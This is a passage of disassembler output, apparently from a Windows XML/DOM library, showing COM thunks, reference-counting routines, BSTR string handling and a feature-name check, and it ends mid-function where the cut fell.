sub_69B596CF proc near ; DATA XREF: .text:69B28FD0o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B593CA
sub_69B596CF endp
; =============== S U B R O U T I N E =======================================
sub_69B596D9 proc near ; DATA XREF: .text:69B28FD4o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B593DE
sub_69B596D9 endp
; =============== S U B R O U T I N E =======================================
sub_69B596E3 proc near ; DATA XREF: .text:69B28FD8o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B593F2
sub_69B596E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B596ED proc near ; DATA XREF: .text:69B28FDCo
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5947B
sub_69B596ED endp
; =============== S U B R O U T I N E =======================================
sub_69B596F7 proc near ; DATA XREF: .text:69B28FE0o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59406
sub_69B596F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B59701 proc near ; DATA XREF: .text:69B28FE4o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5942F
sub_69B59701 endp
; =============== S U B R O U T I N E =======================================
sub_69B5970B proc near ; DATA XREF: .text:69B28FE8o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5944B
sub_69B5970B endp
; =============== S U B R O U T I N E =======================================
sub_69B59715 proc near ; DATA XREF: .text:69B28FECo
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59463
sub_69B59715 endp
; =============== S U B R O U T I N E =======================================
sub_69B5971F proc near ; DATA XREF: .text:69B28FF0o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5948F
sub_69B5971F endp
; =============== S U B R O U T I N E =======================================
sub_69B59729 proc near ; DATA XREF: .text:69B28FF4o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B594A3
sub_69B59729 endp
; =============== S U B R O U T I N E =======================================
sub_69B59733 proc near ; DATA XREF: .text:69B28FFCo
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B594B7
sub_69B59733 endp
; =============== S U B R O U T I N E =======================================
sub_69B5973D proc near ; DATA XREF: .text:69B29000o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B594CB
sub_69B5973D endp
; =============== S U B R O U T I N E =======================================
sub_69B59747 proc near ; DATA XREF: .text:69B29004o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B594DF
sub_69B59747 endp
; =============== S U B R O U T I N E =======================================
sub_69B59751 proc near ; DATA XREF: .text:69B29008o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B594F3
sub_69B59751 endp
; =============== S U B R O U T I N E =======================================
sub_69B5975B proc near ; DATA XREF: .text:69B2900Co
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59507
sub_69B5975B endp
; =============== S U B R O U T I N E =======================================
sub_69B59765 proc near ; DATA XREF: .text:69B29010o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5951B
sub_69B59765 endp
; =============== S U B R O U T I N E =======================================
sub_69B5976F proc near ; DATA XREF: .text:69B29014o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5952F
sub_69B5976F endp
; =============== S U B R O U T I N E =======================================
sub_69B59779 proc near ; DATA XREF: .text:69B29018o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59550
sub_69B59779 endp
; =============== S U B R O U T I N E =======================================
sub_69B59783 proc near ; DATA XREF: .text:69B2901Co
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59564
sub_69B59783 endp
; =============== S U B R O U T I N E =======================================
sub_69B5978D proc near ; DATA XREF: .text:69B29020o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59578
sub_69B5978D endp
; =============== S U B R O U T I N E =======================================
sub_69B59797 proc near ; DATA XREF: .text:69B29024o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5958C
sub_69B59797 endp
; =============== S U B R O U T I N E =======================================
sub_69B597A1 proc near ; DATA XREF: .text:69B29028o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B595A4
sub_69B597A1 endp
; =============== S U B R O U T I N E =======================================
sub_69B597AB proc near ; DATA XREF: .text:69B2902Co
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B595BC
sub_69B597AB endp
; =============== S U B R O U T I N E =======================================
sub_69B597B5 proc near ; DATA XREF: .text:69B29030o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B595D4
sub_69B597B5 endp
; =============== S U B R O U T I N E =======================================
sub_69B597BF proc near ; DATA XREF: .text:69B29034o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B595E8
sub_69B597BF endp
; =============== S U B R O U T I N E =======================================
sub_69B597C9 proc near ; DATA XREF: .text:69B29038o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B595FC
sub_69B597C9 endp
; =============== S U B R O U T I N E =======================================
sub_69B597D3 proc near ; DATA XREF: .text:69B2903Co
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59610
sub_69B597D3 endp
; =============== S U B R O U T I N E =======================================
sub_69B597DD proc near ; DATA XREF: .text:69B29040o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59624
sub_69B597DD endp
; ---------------------------------------------------------------------------
loc_69B597E7: ; DATA XREF: .text:69B28E30o
sub dword ptr [esp+4], 20h
jmp sub_69B59321
; ---------------------------------------------------------------------------
loc_69B597F1: ; DATA XREF: .text:off_69B28E24o
sub ecx, 1Ch
jmp short loc_69B59814
; ---------------------------------------------------------------------------
loc_69B597F6: ; DATA XREF: .text:69B28DF0o
sub dword ptr [esp+4], 34h
jmp sub_69B59321
; =============== S U B R O U T I N E =======================================
sub_69B59800 proc near ; DATA XREF: .text:69B28DFCo
arg_0 = dword ptr 4
sub [esp+arg_0], 34h
jmp sub_69B56828
sub_69B59800 endp
; =============== S U B R O U T I N E =======================================
sub_69B5980A proc near ; DATA XREF: .text:69B28E00o
arg_0 = dword ptr 4
sub [esp+arg_0], 34h
jmp sub_69B56895
sub_69B5980A endp
; ---------------------------------------------------------------------------
loc_69B59814: ; CODE XREF: .text:69B597F4j
; DATA XREF: .text:off_69B28E38o
push esi
mov esi, ecx
call sub_69B59833
test byte ptr [esp+8], 1
jz short loc_69B5982C
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B5982C: ; CODE XREF: .text:69B59821j
lea eax, [esi-0Ch]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B59833 proc near ; CODE XREF: .text:69B59817p
push esi
mov esi, ecx
push edi
lea edi, [esi-0Ch]
mov ecx, edi
neg ecx
lea eax, [esi+10h]
sbb ecx, ecx
and ecx, eax
add ecx, 0Ch
mov dword ptr [esi-0Ch], offset off_69B28E50
mov dword ptr [esi-8], offset off_69B28E3C
mov dword ptr [esi], offset off_69B28E38
mov dword ptr [eax], offset off_69B28F98
mov dword ptr [esi+14h], offset off_69B28E28
mov dword ptr [esi+1Ch], offset off_69B28E24
mov dword ptr [esi+28h], offset off_69B28DE8
call sub_69B4389D
mov ecx, edi
neg ecx
sbb ecx, ecx
pop edi
and ecx, esi
pop esi
jmp loc_69B88066
sub_69B59833 endp
; =============== S U B R O U T I N E =======================================
sub_69B5988B proc near ; CODE XREF: .text:69B598A9j
; .text:69B598BAj ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
add ecx, 28h
call sub_69B18E54
retn 4
sub_69B5988B endp
; ---------------------------------------------------------------------------
loc_69B5989A: ; DATA XREF: .text:off_69B28E3Co
sub dword ptr [esp+4], 4
jmp sub_69B570DC
; ---------------------------------------------------------------------------
loc_69B598A4: ; DATA XREF: .text:69B28E40o
sub dword ptr [esp+4], 4
jmp short sub_69B5988B
; ---------------------------------------------------------------------------
loc_69B598AB: ; DATA XREF: .text:off_69B28F98o
sub dword ptr [esp+4], 1Ch
jmp sub_69B570DC
; ---------------------------------------------------------------------------
loc_69B598B5: ; DATA XREF: .text:69B28F9Co
sub dword ptr [esp+4], 1Ch
jmp short sub_69B5988B
; =============== S U B R O U T I N E =======================================
sub_69B598BC proc near ; DATA XREF: .text:69B28FF8o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B57136
sub_69B598BC endp
; ---------------------------------------------------------------------------
loc_69B598C6: ; DATA XREF: .text:off_69B28E28o
sub dword ptr [esp+4], 20h
jmp sub_69B570DC
; ---------------------------------------------------------------------------
loc_69B598D0: ; DATA XREF: .text:69B28E2Co
sub dword ptr [esp+4], 20h
jmp short sub_69B5988B
; ---------------------------------------------------------------------------
loc_69B598D7: ; DATA XREF: .text:off_69B28DE8o
sub dword ptr [esp+4], 34h
jmp sub_69B570DC
; ---------------------------------------------------------------------------
loc_69B598E1: ; DATA XREF: .text:69B28DECo
sub dword ptr [esp+4], 34h
jmp short sub_69B5988B
; =============== S U B R O U T I N E =======================================
sub_69B598E8 proc near ; DATA XREF: .text:69B14D0Co
push 20h
push offset dword_69B59988
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B5990A
mov eax, 80004005h
jmp short loc_69B5997F
; ---------------------------------------------------------------------------
loc_69B5990A: ; CODE XREF: sub_69B598E8+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
push dword ptr [esi+14h]
lea ecx, [ebp-2Ch]
call sub_69B18E23
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-30h], ecx
mov eax, [ecx]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+38h]
jmp short loc_69B59960
; ---------------------------------------------------------------------------
loc_69B59940: ; DATA XREF: .text:69B5998Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B59949: ; DATA XREF: .text:69B59990o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B59960: ; CODE XREF: sub_69B598E8+56j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B5997F: ; CODE XREF: sub_69B598E8+20j
call sub_69B1853C
retn 14h
sub_69B598E8 endp
; ---------------------------------------------------------------------------
align 4
dword_69B59988 dd 0FFFFFFFFh dd offset loc_69B59940
dd offset loc_69B59949
; =============== S U B R O U T I N E =======================================
sub_69B59994 proc near ; DATA XREF: .text:69B14D10o
push 1Ch
push offset dword_69B59A28
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B599B6
mov eax, 80004005h
jmp short loc_69B59A1B
; ---------------------------------------------------------------------------
loc_69B599B6: ; CODE XREF: sub_69B59994+19j
mov esi, [ebp+8]
push dword ptr [esi+10h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B552
mov [ebp-4], edi
mov ecx, [esi+10h]
mov [ebp-2Ch], ecx
mov eax, [ecx]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call dword ptr [eax+3Ch]
jmp short loc_69B59A04
; ---------------------------------------------------------------------------
loc_69B599E4: ; DATA XREF: .text:69B59A2Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B599ED: ; DATA XREF: .text:69B59A30o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B59A04: ; CODE XREF: sub_69B59994+4Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B59A1B: ; CODE XREF: sub_69B59994+20j
call sub_69B1853C
retn 18h
sub_69B59994 endp
; ---------------------------------------------------------------------------
align 8
dword_69B59A28 dd 0FFFFFFFFh dd offset loc_69B599E4
dd offset loc_69B599ED
; =============== S U B R O U T I N E =======================================
sub_69B59A34 proc near ; DATA XREF: .text:69B14D44o
push 60h
push offset dword_69B59BE8
call sub_69B19C5C
mov esi, [ebp+0Ch]
xor ebx, ebx
cmp esi, ebx
jnz short loc_69B59A53
mov eax, 80070057h
jmp loc_69B59BDC
; ---------------------------------------------------------------------------
loc_69B59A53: ; CODE XREF: sub_69B59A34+13j
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jz short loc_69B59A86
mov edi, [ebp+8]
push dword ptr [edi+10h]
push eax
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B59A90
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B59A86: ; CODE XREF: sub_69B59A34+2Aj
mov eax, 80004005h
jmp loc_69B59BDC
; ---------------------------------------------------------------------------
loc_69B59A90: ; CODE XREF: sub_69B59A34+3Fj
mov [ebp-4], ebx
mov [esi], ebx
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
mov [esi+10h], ebx
mov [esi+14h], ebx
mov eax, [edi+10h]
mov [ebp-34h], eax
mov edi, [eax+6Ch]
mov [ebp-38h], edi
mov [ebp-3Ch], edi
cmp edi, ebx
jz loc_69B59B4D
mov eax, [edi+18h]
mov [esi], eax
mov eax, [edi+1Ch]
mov [esi+0Ch], eax
mov dword ptr [ebp-40h], offset off_69B1A5AC
mov eax, ds:off_69B1A5B8
mov [ebp-44h], eax
push ds:dword_69B1A5B4 ; UINT
push eax ; OLECHAR *
mov ebx, SysAllocStringLen
call ebx ; SysAllocStringLen
mov [esi+14h], eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
mov [ebp-48h], eax
test eax, eax
jz short loc_69B59B04
mov ecx, [eax+0Ch]
mov [ebp-4Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call ebx ; SysAllocStringLen
mov [esi+10h], eax
loc_69B59B04: ; CODE XREF: sub_69B59A34+BFj
mov edi, [edi+14h]
mov [ebp-50h], edi
test edi, edi
jz short loc_69B59B1F
mov eax, edi
mov [ebp-54h], eax
mov ecx, [eax+0Ch]
mov [ebp-58h], ecx
push dword ptr [eax+8]
push ecx
jmp short loc_69B59B2E
; ---------------------------------------------------------------------------
loc_69B59B1F: ; CODE XREF: sub_69B59A34+D8j
mov eax, ds:off_69B1A5B8
mov [ebp-5Ch], eax
push ds:dword_69B1A5B4 ; UINT
push eax ; OLECHAR *
loc_69B59B2E: ; CODE XREF: sub_69B59A34+E9j
call ebx ; SysAllocStringLen
mov [esi+4], eax
push eax ; lpString
call ds:lstrlenW ; lstrlenW
mov [ebp-60h], eax
cmp [esi+0Ch], eax
jb short loc_69B59B48
lea ecx, [eax-1]
mov [esi+0Ch], ecx
loc_69B59B48: ; CODE XREF: sub_69B59A34+10Cj
mov [esi+8], eax
jmp short loc_69B59B53
; ---------------------------------------------------------------------------
loc_69B59B4D: ; CODE XREF: sub_69B59A34+81j
mov ebx, SysAllocStringLen
loc_69B59B53: ; CODE XREF: sub_69B59A34+117j
xor edi, edi
cmp [esi+4], edi
jnz short loc_69B59B6E
mov eax, ds:off_69B1A5B8
mov [ebp-64h], eax
push ds:dword_69B1A5B4 ; UINT
push eax ; OLECHAR *
call ebx ; SysAllocStringLen
mov [esi+4], eax
loc_69B59B6E: ; CODE XREF: sub_69B59A34+124j
cmp [esi+10h], edi
jnz short loc_69B59B87
mov eax, ds:off_69B1A5B8
mov [ebp-68h], eax
push ds:dword_69B1A5B4 ; UINT
push eax ; OLECHAR *
call ebx ; SysAllocStringLen
mov [esi+10h], eax
loc_69B59B87: ; CODE XREF: sub_69B59A34+13Dj
cmp [esi+14h], edi
jnz short loc_69B59BA0
mov eax, ds:off_69B1A5B8
mov [ebp-6Ch], eax
push ds:dword_69B1A5B4 ; UINT
push eax ; OLECHAR *
call ebx ; SysAllocStringLen
mov [esi+14h], eax
loc_69B59BA0: ; CODE XREF: sub_69B59A34+156j
mov [ebp-70h], edi
jmp short loc_69B59BC5
; ---------------------------------------------------------------------------
loc_69B59BA5: ; DATA XREF: .text:69B59BECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B59BAE: ; DATA XREF: .text:69B59BF0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B59BC5: ; CODE XREF: sub_69B59A34+16Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B59BDC: ; CODE XREF: sub_69B59A34+1Aj
; sub_69B59A34+57j
call sub_69B1853C
retn 8
sub_69B59A34 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B59BE8 dd 0FFFFFFFFh dd offset loc_69B59BA5
dd offset loc_69B59BAE
; =============== S U B R O U T I N E =======================================
sub_69B59BF4 proc near ; DATA XREF: .text:69B59D00o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
lea eax, [esi+8]
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
mov eax, [esi+4]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
pop esi
retn 4
sub_69B59BF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B59C10 proc near ; DATA XREF: .text:69B59D08o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jnz short loc_69B59C1E
mov eax, 80004003h
jmp short locret_69B59C35
; ---------------------------------------------------------------------------
loc_69B59C1E: ; CODE XREF: sub_69B59C10+5j
push [esp+arg_4]
mov eax, [esp+4+arg_0]
push dword ptr [eax+10h]
push 0
push 1
push dword ptr [eax+0Ch]
call sub_69B2DEF4
locret_69B59C35: ; CODE XREF: sub_69B59C10+Cj
retn 8
sub_69B59C10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B59C38 proc near ; DATA XREF: .text:off_69B59CFCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
test edx, edx
jnz short loc_69B59C49
mov eax, 80004003h
jmp short loc_69B59C8D
; ---------------------------------------------------------------------------
loc_69B59C49: ; CODE XREF: sub_69B59C38+8j
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2B0F0
xor eax, eax
repe cmpsd
jz short loc_69B59C7E
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B59C7E
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov ecx, [eax]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx]
jmp short loc_69B59C8B
; ---------------------------------------------------------------------------
loc_69B59C7E: ; CODE XREF: sub_69B59C38+22j
; sub_69B59C38+33j
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B59C8B: ; CODE XREF: sub_69B59C38+44j
pop edi
pop esi
loc_69B59C8D: ; CODE XREF: sub_69B59C38+Fj
pop ebp
retn 0Ch
sub_69B59C38 endp
; =============== S U B R O U T I N E =======================================
sub_69B59C91 proc near ; DATA XREF: .text:69B59D04o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+8]
push edi ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
cmp dword ptr [edi], 0
jnz short loc_69B59CBB
mov eax, [esi+4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
push esi
mov edi, eax
call sub_69B1B2B7
mov eax, edi
jmp short loc_69B59CC4
; ---------------------------------------------------------------------------
loc_69B59CBB: ; CODE XREF: sub_69B59C91+13j
mov esi, [esi+4]
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B59CC4: ; CODE XREF: sub_69B59C91+28j
pop edi
pop esi
retn 4
sub_69B59C91 endp
; =============== S U B R O U T I N E =======================================
sub_69B59CC9 proc near ; CODE XREF: sub_69B1C12C+2FD4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
mov [esi+0Ch], eax
mov eax, [esp+4+arg_8]
mov [esi+10h], eax
mov eax, [esp+4+arg_0]
mov dword ptr [esi], offset off_69B59CFC
mov [esi+4], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov dword ptr [esi+8], 1
mov eax, esi
pop esi
retn 0Ch
sub_69B59CC9 endp
; ---------------------------------------------------------------------------
align 4
off_69B59CFC dd offset sub_69B59C38 ; DATA XREF: sub_69B59CC9+15o
dd offset sub_69B59BF4
dd offset sub_69B59C91
dd offset sub_69B59C10
; =============== S U B R O U T I N E =======================================
sub_69B59D0C proc near ; DATA XREF: .text:69B152B4o
mov eax, offset off_69B59D14
retn
sub_69B59D0C endp
; ---------------------------------------------------------------------------
align 4
off_69B59D14 dd offset off_69B28200 ; DATA XREF: sub_69B59D0Co
dd 0
; =============== S U B R O U T I N E =======================================
sub_69B59D1C proc near ; DATA XREF: .text:69B13704o
; .text:69B14138o ...
xor al, al
retn
sub_69B59D1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B59D1F proc near ; DATA XREF: .text:69B153B4o
jmp sub_69B48144
sub_69B59D1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B59D24 proc near ; DATA XREF: .text:69B153B8o
jmp sub_69B48C17
sub_69B59D24 endp
; =============== S U B R O U T I N E =======================================
sub_69B59D29 proc near ; DATA XREF: .text:69B1538Co
mov eax, ecx
mov ecx, [eax+10h]
push eax
call sub_69B51C4D
retn
sub_69B59D29 endp
; =============== S U B R O U T I N E =======================================
sub_69B59D35 proc near ; DATA XREF: .text:69B15394o
arg_0 = dword ptr 4
push [esp+arg_0]
push ecx
mov ecx, [ecx+10h]
call sub_69B51D62
retn 4
sub_69B59D35 endp
; =============== S U B R O U T I N E =======================================
sub_69B59D45 proc near ; DATA XREF: .text:69B15398o
mov eax, ecx
mov ecx, [eax+10h]
push eax
call sub_69B51C69
retn
sub_69B59D45 endp
; =============== S U B R O U T I N E =======================================
sub_69B59D51 proc near ; DATA XREF: .text:69B1539Co
arg_0 = dword ptr 4
push [esp+arg_0]
push ecx
mov ecx, [ecx+10h]
call sub_69B51D82
retn 4
sub_69B59D51 endp
; =============== S U B R O U T I N E =======================================
sub_69B59D61 proc near ; DATA XREF: .text:69B153A0o
push esi
mov esi, ecx
mov ecx, [esi+10h]
push esi
call sub_69B51C85
test eax, eax
jnz short loc_69B59D79
mov ecx, esi
pop esi
jmp sub_69B48144
; ---------------------------------------------------------------------------
loc_69B59D79: ; CODE XREF: sub_69B59D61+Ej
pop esi
retn
sub_69B59D61 endp
; =============== S U B R O U T I N E =======================================
sub_69B59D7B proc near ; DATA XREF: .text:69B153A4o
arg_0 = dword ptr 4
push esi
push 0
mov esi, ecx
call sub_69B48148
push [esp+4+arg_0]
mov ecx, [esi+10h]
and byte ptr [esi+0Ah], 0BFh
push esi
call sub_69B51DA2
pop esi
retn 4
sub_69B59D7B endp
; =============== S U B R O U T I N E =======================================
sub_69B59D9A proc near ; DATA XREF: .text:69B153A8o
push esi
push edi
mov esi, ecx
call sub_69B48152
mov edi, eax
test edi, edi
jnz short loc_69B59DC0
mov ecx, [esi+10h]
push esi
call sub_69B51CAF
mov edi, eax
test edi, edi
jz short loc_69B59DC0
push edi
mov ecx, esi
call sub_69B48C0F
loc_69B59DC0: ; CODE XREF: sub_69B59D9A+Dj
; sub_69B59D9A+1Cj
mov eax, edi
pop edi
pop esi
retn
sub_69B59D9A endp
; =============== S U B R O U T I N E =======================================
sub_69B59DC5 proc near ; DATA XREF: .text:69B153ACo
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B48C0F
mov ecx, [esi+10h]
test edi, edi
setnz al
movzx eax, al
shl eax, 16h
xor eax, [esi+8]
push edi
and eax, 400000h
xor [esi+8], eax
push esi
call sub_69B51DC6
pop edi
pop esi
retn 4
sub_69B59DC5 endp
; =============== S U B R O U T I N E =======================================
sub_69B59DF8 proc near ; DATA XREF: .text:69B153B0o
mov eax, [ecx+8]
shr eax, 16h
and eax, 1
retn
sub_69B59DF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B59E02 proc near ; DATA XREF: .text:69B15380o
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, edx
shl eax, 4
xor eax, [ecx+8]
and eax, 3F0h
xor [ecx+8], eax
cmp edx, 0Ch
mov eax, [ecx+8]
jge short loc_69B59E38
test edx, edx
setnz dl
movzx edx, dl
shl edx, 0Eh
xor edx, eax
and edx, 4000h
xor edx, eax
mov [ecx+8], edx
jmp short locret_69B59E40
; ---------------------------------------------------------------------------
loc_69B59E38: ; CODE XREF: sub_69B59E02+1Aj
or eax, 4000h
mov [ecx+8], eax
locret_69B59E40: ; CODE XREF: sub_69B59E02+34j
retn 8
sub_69B59E02 endp
; =============== S U B R O U T I N E =======================================
sub_69B59E43 proc near ; DATA XREF: .text:69B152A4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B481BE
test [esp+4+arg_0], 1
jz short loc_69B59E58
push esi
call sub_69B2E3BD
loc_69B59E58: ; CODE XREF: sub_69B59E43+Dj
mov eax, esi
pop esi
retn 4
sub_69B59E43 endp
; =============== S U B R O U T I N E =======================================
sub_69B59E5E proc near ; DATA XREF: .text:69B152CCo
push esi
mov esi, ecx
push edi
mov edi, [esi+10h]
push esi
mov ecx, edi
call sub_69B51835
mov al, [esi+0Bh]
mov ecx, [esi+0Ch]
and al, 1Fh
cmp al, 3
jnz short loc_69B59E82
test ecx, ecx
jz short loc_69B59E82
mov eax, [ecx]
call dword ptr [eax+18h]
loc_69B59E82: ; CODE XREF: sub_69B59E5E+19j
; sub_69B59E5E+1Dj
and byte ptr [esi+0Bh], 0DFh
push 0
mov ecx, esi
call sub_69B48C0F
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
and dword ptr [esi+10h], 0
mov eax, [edi]
push edi
call dword ptr [eax+8]
pop edi
pop esi
retn
sub_69B59E5E endp
; =============== S U B R O U T I N E =======================================
sub_69B59EA7 proc near ; DATA XREF: .text:69B15388o
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 14h
push ecx
call sub_69B17320
retn 4
sub_69B59EA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B59EB7(VARIANTARG *pvar)
sub_69B59EB7 proc near ; DATA XREF: .text:69B153BCo
var_4 = dword ptr -4
pvar = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov edi, [esi+8]
shr edi, 4
and edi, 3Fh
push edi
mov [ebp+var_4], esi
call sub_69B2FB83
cmp ax, 8
mov ebx, [ebp+pvar]
jz short loc_69B59F08
push 0
mov ecx, esi
call sub_69B47E6C
or [ebp+pvar], 0FFFFFFFFh
mov esi, eax
lea eax, [ebp+pvar]
push eax ; int
push 0 ; int
push ebx ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push edi ; int
push dword ptr [esi+8] ; cElements
push dword ptr [esi+0Ch] ; int
call sub_69B30DEE
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
loc_69B59F08: ; CODE XREF: sub_69B59EB7+22j
cmp edi, 1Ah
jz short loc_69B59F37
cmp edi, 24h
jz short loc_69B59F37
mov ecx, [ebp+var_4]
push 1
push 1
push 1
call sub_69B4AAFC
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
mov word ptr [ebx], 8
mov [ebx+8], eax
jmp short loc_69B59F3C
; ---------------------------------------------------------------------------
loc_69B59F37: ; CODE XREF: sub_69B59EB7+54j
; sub_69B59EB7+59j
mov word ptr [ebx], 1
loc_69B59F3C: ; CODE XREF: sub_69B59EB7+7Ej
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B59EB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B59F43 proc near ; DATA XREF: .text:69B12850o
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
push edi
jz loc_69B59FFA
mov edi, [ebp+arg_C]
cmp edi, ebx
jz loc_69B59FFA
push offset aXml_1 ; "XML"
push esi
mov [edi], bx
call sub_69B2ED17
test eax, eax
jz short loc_69B59F82
push offset aDom ; "DOM"
push esi
call sub_69B2ED17
test eax, eax
